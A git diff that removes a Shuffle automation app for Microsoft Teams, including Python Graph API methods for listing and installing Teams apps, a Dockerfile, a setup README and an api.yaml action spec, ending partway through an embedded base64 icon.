{"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def list_apps_in_team(self, tenant_id, client_id, client_secret, team_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/installedApps" % (self.graph_url, team_id) - ret = session.get(graph_url) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def get_app_in_team(self, tenant_id, client_id, client_secret, team_id, app_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/installedApps/%s" % (self.graph_url, team_id, app_id) - ret = session.get(graph_url) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - #{ - # "id": "aa39b2f8-3c8d-4ce1-8b8b-7fe02c59ae3e", - # "externalId": null, - # "displayName": "Outgoing Webhook", - # "distributionMethod": "store" - #}, - def add_webhook_to_team(self, tenant_id, client_id, client_secret, team_id): - session = self.authenticate(tenant_id, client_id, client_secret) - #graph_url = "%s/v1.0/teams/%s/installedApps" % (self.graph_url, team_id) - graph_url = "%s/v1.0/chats/%s/installedApps" % (self.graph_url, team_id) - #POST https://graph.microsoft.com/v1.0/chats/19:ea28e88c00e94c7786b065394a61f296@thread.v2/installedApps - - - data = { - "teamsApp@odata.bind": "https://graph.microsoft.com/beta/appCatalogs/teamsApps/aa39b2f8-3c8d-4ce1-8b8b-7fe02c59ae3e" - } - - ret = session.post(graph_url, json=data) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - #POST /teams/87654321-0abc-zqf0-321456789q/installedApps - #Content-type: application/json - - #{ - # "teamsApp@odata.bind":"https://graph.microsoft.com/beta/appCatalogs/teamsApps/12345678-9abc-def0-123456789a" - #} - - -if __name__ == "__main__": - Teams.run() diff --git a/microsoft-teams/1.0.0/Dockerfile b/microsoft-teams/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/microsoft-teams/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-teams/1.0.0/MicrosoftTeams-image.png b/microsoft-teams/1.0.0/MicrosoftTeams-image.png deleted file mode 100644 index d8986bba..00000000 Binary files a/microsoft-teams/1.0.0/MicrosoftTeams-image.png and /dev/null differ diff --git a/microsoft-teams/1.0.0/README.md b/microsoft-teams/1.0.0/README.md deleted file mode 100644 index dba1b839..00000000 --- a/microsoft-teams/1.0.0/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# Microsoft Teams App - -The MS Teams app for sending an alert to Teams and allowing users to manage alert from Teams. - -![alt text](https://github.com/Shuffle/python-apps/blob/master/microsoft-teams/1.0.0/MicrosoftTeams-image.png?raw=true) - -## Actions - -- Send simple text -- Send rich text -- Send actionable message -- Get user input - -## Requirements - -- Microsoft Teams account. - -## Setup - -1. Go to teams section in Teams app. -2. Select the team then select channel you want to send alert to. (__All the members in same channel will be able to see and react to alert/message__). -3. Go to connectors → incoming webhook select configure. -4. Provide suitable name & picture (optional). -5. Copy webhook url and head over to shuffle. -6. Add Teams app in your workflow, use webhook url in app. - -## Note -- If you are planning on sending actionable message or get user input, you'll need to have webhook running in your workflow (Go to your workflow → Triggers select webhook and start it). -- Once you start webhook you'll see webhook url. Copy & use the same in callback_url for actionable message / user input. -- Read more about webhook [here](https://shuffler.io/docs/triggers#webhook). diff --git a/microsoft-teams/1.0.0/api.yaml b/microsoft-teams/1.0.0/api.yaml deleted file mode 100644 index 89ea36ea..00000000 --- a/microsoft-teams/1.0.0/api.yaml +++ /dev/null @@ -1,165 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Teams -description: Microsoft Teams app for sending an alert to channel. -contact_info: - name: "@ShalinBhavsar" - url: https://github.com/shalin24999 - email: shalinbhavsar17@gmail.com -tags: - - Alert -categories: - - Communication -authentication: - required: true - parameters: - - name: webhook_url - description: Enter webhook of the channels you want to send message to. - example: "https://example.webhook.office.com/123" - required: true - schema: - type: string -actions: - - name: send_simple_text - description: Sends a message to Teams channel. - parameters: - - name: webhook_url - description: Enter webhook of the channels you want to send message to. - required: true - multiline: true - example: 'https://example.webhook.office.com/123' - schema: - type: string - - name: message - description: Message - required: true - multiline: true - example: 'Alert...' - schema: - type: string - returns: - schema: - type: string - - name: send_rich_text - description: Sends a rich text card to channel with link. - parameters: - - name: webhook_url - description: Enter webhook of the channels you want to send message to. - required: true - multiline: true - example: 'https://example.webhook.office.com/123' - schema: - type: string - - name: title - description: Title of the rich text card. - required: false - multiline: false - example: 'Title here' - schema: - type: string - - name: message - description: Message - required: true - multiline: true - example: 'Alert...' - schema: - type: string - - name: link_button_text - description: Text you want to print on redirect button. - required: true - multiline: false - example: 'Shuffle' - schema: - type: string - - name: link_button_url - description: Enter a url you want user to click on. - required: true - multiline: true - example: 'https://yoururlhere.com/' - schema: - type: string - returns: - schema: - type: string - - name: send_actionable_msg - description: Sends message to channel with actions. - parameters: - - name: webhook_url - description: Enter webhook of the channels you want to send message to. - required: true - multiline: true - example: 'https://example.webhook.office.com/123' - schema: - type: string - - name: title - description: Title of the rich text card. - required: false - multiline: false - example: 'Title here' - schema: - type: string - - name: message - description: Message - required: true - multiline: true - example: 'Alert...' - schema: - type: string - - name: choices - description: List of choices to select from - required: false - multiline: true - example: Choice 1,Choice 2,Choice 3 - schema: - type: string - - name: added_information - description: Some extra information to be added to the callback. E.g. an alert - required: true - multiline: true - example: '$new_ticket.ticket_id' - schema: - type: string - - name: callback_url - description: webhook url of your workflow in shuffle - required: true - multiline: false - example: 'https://example.com/123' - schema: - type: string - returns: - schema: - type: string - - name: get_user_input - description: Sends message with text field for user to input to channel. - parameters: - - name: webhook_url - description: Enter webhook of the channels you want to send message to. - required: true - multiline: true - example: 'https://example.webhook.office.com/123' - schema: - type: string - - name: title - description: Title of the rich text card. - required: false - multiline: false - example: 'Title here' - schema: - type: string - - name: message - description: Message - required: true - multiline: true - example: 'Alert...' - schema: - type: string - - name: callback_url - description: webhook url of your workflow in shuffle - required: true - multiline: false - example: 'https://example.com/123' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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